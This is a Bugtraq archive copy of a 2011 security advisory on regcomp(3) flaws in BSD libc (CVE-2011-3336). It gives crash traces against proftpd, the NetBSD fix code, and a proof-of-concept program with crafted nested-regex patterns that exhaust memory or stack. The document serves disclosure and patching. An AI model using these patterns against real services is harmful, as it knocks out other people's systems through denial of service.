Home page logo
/

bugtraq logo Bugtraq mailing list archives

Multiple BSD libc/regcomp(3) Multiple Vulnerabilities
From: cxib () securityreason com
Date: Fri, 4 Nov 2011 13:51:34 GMT

[ Multiple BSD libc/regcomp(3) Multiple Vulnerabilities ]

Author: Maksymilian Arciemowicz
http://www.netbsd.org/donations/
http://securityreason.com/
http://cxib.net/

Date:
- Dis.: 05.10.2011
- Pub.: 04.11.2011

CVE: CVE-2011-3336

Affected Software:
- NetBSD 5.1 (fixed)
- OpenBSD 5.0
- FreeBSD 8.2
- MacOSX


Original URL:
http://securityreason.com/achievement_securityalert/102


--- 0.Description ---
regcomp() compiles the regular expression contained in the pattern string, subject to the flags in cflags, and places 
the results in the regex_t structure pointed to by preg.

cflags is the bitwise OR of zero or more of the following flags:

REG_EXTENDED  
Compile modern (extended) REs, rather than the obsolete (basic) REs that are the default.

REG_BASIC
This is a synonym for 0, provided as a counterpart to REG_EXTENDED to improve readability.


--- 1.  Multiple BSD libc/regcomp(3) Multiple Vulnerabilities ---
In regcomp(3) of BSD implementation, i've discovered a several flaws. Similar problem was diagnosed one year ago in GNU 
libc (01.10.2010). But GNU regcomp() code is different from BSD.

Recursion and bad memory managment, may admit to unexpected end of application. Together with NetBSD we have decided to 
fix all these flaws. Most important was limit of recursion for REG_EXTENDED and REG_BASIC, and get better control over 
memory usage. 

Specifically crafted .ftpaccess file can return result as below
-proftpd---
# telnet 127.0.0.1 21 
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 ProFTPD 1.3.3f Server (ProFTPD Default Installation) [127.0.0.1]
user dude
331 Password required for dude
pass dude

and in the same time

# gdb -q proftpd 15814
(no debugging symbols found)
Attaching to program: /usr/local/sbin/proftpd, process 15814
Reading symbols from /usr/lib/libutil.so.11.2...done.
Loaded symbols for /usr/lib/libutil.so.11.2
Reading symbols from /usr/lib/libc.so.58.0...done.
Loaded symbols for /usr/lib/libc.so.58.0
Reading symbols from /usr/libexec/ld.so...done.
Loaded symbols for /usr/libexec/ld.so
0x001f39e9 in select () from /usr/lib/libc.so.58.0
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0026d951 in memcpy () from /usr/lib/libc.so.58.0

crash in regcomp()

..
        assert(finish >= start);
        if (len == 0)
                return(ret);
        enlarge(p, p->ssize + len);     /* this many unexpected additions */
        assert(p->ssize >= p->slen + len);
        (void)memcpy(p->strip + p->slen, p->strip + start,
            (size_t)len * sizeof(sop));
..
(gdb) x/i $eip
0x2d42951 <memcpy+61>:  repz movsl %ds:(%esi),%es:(%edi)
..
-proftpd---


Uncontrolled memory exhaustion, allow to create an RE consuming all free memory. As we can read in manual:

-man regcomp 3--
regexec() performance is poor.  This will improve with later releases. nmatch exceeding 0 is expensive; nmatch 
exceeding 1 is worse.
regexec is largely insensitive to RE complexity except that back references are massively expensive.  RE length does 
matter; in particular, there is a strong speed bonus for keeping RE length under about 30 characters, with most special 
characters counting roughly double.

regcomp() implements bounded repetitions by macro expansion, which is costly in time and space if counts are large or 
bounded repetitions are nested.  An RE like, say, `((((a{1,100}){1,100}){1,100}){1,100}){1,100}' will (eventually) run 
almost any existing machine out of swap space.
-man regcomp 3--

Using RE like `((((a{1,100}){1,100}){1,100}){1,100}){1,100}' may lead to out of swap space. It can be helpful to attack 
last stable version of proftpd. 

To fix memory exhaustion problem, we should create some limit of memory usage. In my opinion 128MB is optimal limit for 
one regcomp(3) call. Then function, checking memory usage like below

-part-of-fix--
214: #define        MEMLIMIT        0x8000000
215: #define MEMSIZE(p) \
216:        ((p)->ncsalloc / CHAR_BIT * (p)->g->csetsize + \
217:        (p)->ncsalloc * sizeof(cset) + \
218:        (p)->ssize * sizeof(sop))
219: #define        RECLIMIT        256
-part-of-fix--

should solve problem with memory exhaustion.

In regcomp() we have a few recursion loops:
- p_ere <> p_ere_exp
- p_bre <> p_bre_exp
- repeat

We need to create a limit for the two main functions p_ere and p_bre_exp

#define RECLIMIT        256

-REG_EXTENTED---
341: p_ere(
342:     struct parse *p,
343:     int stop,                  /* character this ERE should end at */
344:     size_t reclimit)
345: {
..
351:
352:        _DIAGASSERT(p != NULL);
353:
354:        if (reclimit++ > RECLIMIT || p->error == REG_ESPACE) {
355:                p->error = REG_ESPACE;
356:                return;
357:        }
358:
359:        for (;;) {
360:                /* do a bunch of concatenated expressions */
361:                conc = HERE();
362:                while (MORE() && (c = PEEK()) != '|' && c != stop)
363:                        p_ere_exp(p, reclimit); <=== RECURSION p_ere_exp <> p_ere
..
394: static void
395: p_ere_exp(
396:     struct parse *p,
397:     size_t reclimit)
398: {
..
420:                if (!SEE(')'))
421:                        p_ere(p, ')', reclimit); <=== RECURSION p_ere <> p_ere_exp
..
-REG_EXTENTED---

and adding code like:

+       if (reclimit++ > RECLIMIT) 
+               p->error = REG_ESPACE;
+       if (p->error)
                return;

should protect us before huge complexity for REG_EXTENTED and REG_BASIC. 

The same limit implements to p_bre:
-REG_BASIC---
..
570: static void
571: p_bre(
572:     struct parse *p,
573:     int end1,          /* first terminating character */
574:     int end2,          /* second terminating character */
575:     size_t reclimit)
576: {
577:        sopno start;
578:        int first = 1;                  /* first subexpression? */
579:        int wasdollar = 0;
580:
581:        _DIAGASSERT(p != NULL);
582:
583:        if (reclimit++ > RECLIMIT || p->error == REG_ESPACE) {
584:                p->error = REG_ESPACE;
585:                return;
586:        }
587:
..
595:        while (MORE() && !SEETWO(end1, end2)) {
596:                wasdollar = p_simp_re(p, first, reclimit); <=== RECURSION p_bre_exp <> p_bre
597:                first = 0;
..
613: static int                     /* was the simple RE an unbackslashed $? */
614: p_simp_re(
615:     struct parse *p,
616:     int starordinary,          /* is a leading * an ordinary character? */
617:     size_t reclimit)
618: {
..
650:        case BACKSL|'(':
651:                p->g->nsub++;
652:                subno = p->g->nsub;
653:                if (subno < NPAREN)
654:                        p->pbegin[subno] = HERE();
655:                EMIT(OLPAREN, subno);
656:                /* the MORE here is an error heuristic */
657:                if (MORE() && !SEETWO('\\', ')'))
658:                        p_bre(p, '\\', ')', reclimit); <=== RECURSION p_bre <> p_bre_exp
..
-REG_BASIC---

That all about fixes.

For REs like 

"(\(\(\(\(\(\(\(\(...)"
"(((...(.*))))"

regcomp() should crash with stack exhaustion symptom

This bug has been used to denial of service proftpd 1.3.3f in openbsd 4.9 and netbsd 5.1. Similar problem has been 
reported in GNU libc. Anyway Redhat has decided to not solve the problem:
---
Statement:

Red Hat does not consider crash of client application, using regcomp() 
or regexec() routines on untrusted input without preliminary checking 
the input for the sanity, to be a security issue (the described deficiency 
implies and is a known limitation of the glibc regular expression engine 
implementation). The expressions can be modified to avoid quantification 
nesting, or program modified to limit size of input passed to regular 
expression engine. We do not currently plan to fix these flaws. If more 
information becomes available at a future date, we may revisit these issues.
---

regcomp() is not only used in client application. proftpd uses regcomp() in .ftpaccess file. Now we should know, who 
has right? Red Hat or proftpd has made a mistake using regcomp() in code? GNU need more information to revisit this 
issue :)


--- 2. PoC ---
/* poc.c

pattern1:
./poc '(.?)((((.*){1,100}){1,100}){1,100}){1,100}' 

pattern2:
./poc 
'(.?)(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((.*){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}'
Memory fault (core dumped) 
gdb openbsd 4.9:
1275            (void) memcpy((char *)(p->strip + p->slen),
(gdb) print p->slen
$14 = 218103912
(gdb) print start  
$15 = 107
(gdb) print len  
$16 = 218103802
(gdb) x/x p->slen
0xd000068:      Cannot access memory at address 0xd000068
(gdb) n

Program received signal SIGSEGV, Segmentation fault.
0x02d42951 in memcpy () from /usr/lib/libc.so.58.0
(gdb) x/i $eip
0x2d42951 <memcpy+61>:  repz movsl %ds:(%esi),%es:(%edi)
(gdb) x/x $esi
0xbf3ce190:     0x70000064
(gdb) x/x $edi
0xf33ce184:     Cannot access memory at address 0xf33ce184


and more patterns from
http://cvsweb.netbsd.org/bsdweb.cgi/src/tests/lib/libc/regex/t_exhaust.c

*/
#include <regex.h>
#include <stdio.h>

int
main (int argc, char *argv[])
{
        regex_t preg;
        int a=regcomp(&preg, argv[1], REG_EXTENDED);
        printf("a:%i\n",a);
        return 0;
}


--- 3. Fix ---
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/regex/regcomp.c
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/regex/engine.c
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/regex/regex2.h

tests:
http://cvsweb.netbsd.org/bsdweb.cgi/src/tests/lib/libc/regex/Makefile
http://cvsweb.netbsd.org/bsdweb.cgi/src/tests/lib/libc/regex/t_exhaust.c


--- 4. References ---
GNU/regcomp() vulnerability
http://www.kb.cert.org/vuls/id/912279
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4051
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4052

Statement:
https://bugzilla.redhat.com/show_bug.cgi?id=645859#c6

Exploit:
tested: ubuntu 11.10 and proftpd 1.3.4rc2
http://cxib.net/stuff/proftpd.gnu.c


--- 5. Greets ---
Christos Zoulas, sp3x, Infospec

and thanks for US-CERT for coordinating


--- 6. Contact ---
Author: Maksymilian Arciemowicz [ SecurityReason.com ]

Email:
- cxib {a\./t] securityreason [d=t} com

GPG:
- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://securityreason.net/
http://cxib.net/


  By Date           By Thread  

Current thread:
  • Multiple BSD libc/regcomp(3) Multiple Vulnerabilities cxib (Nov 04)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]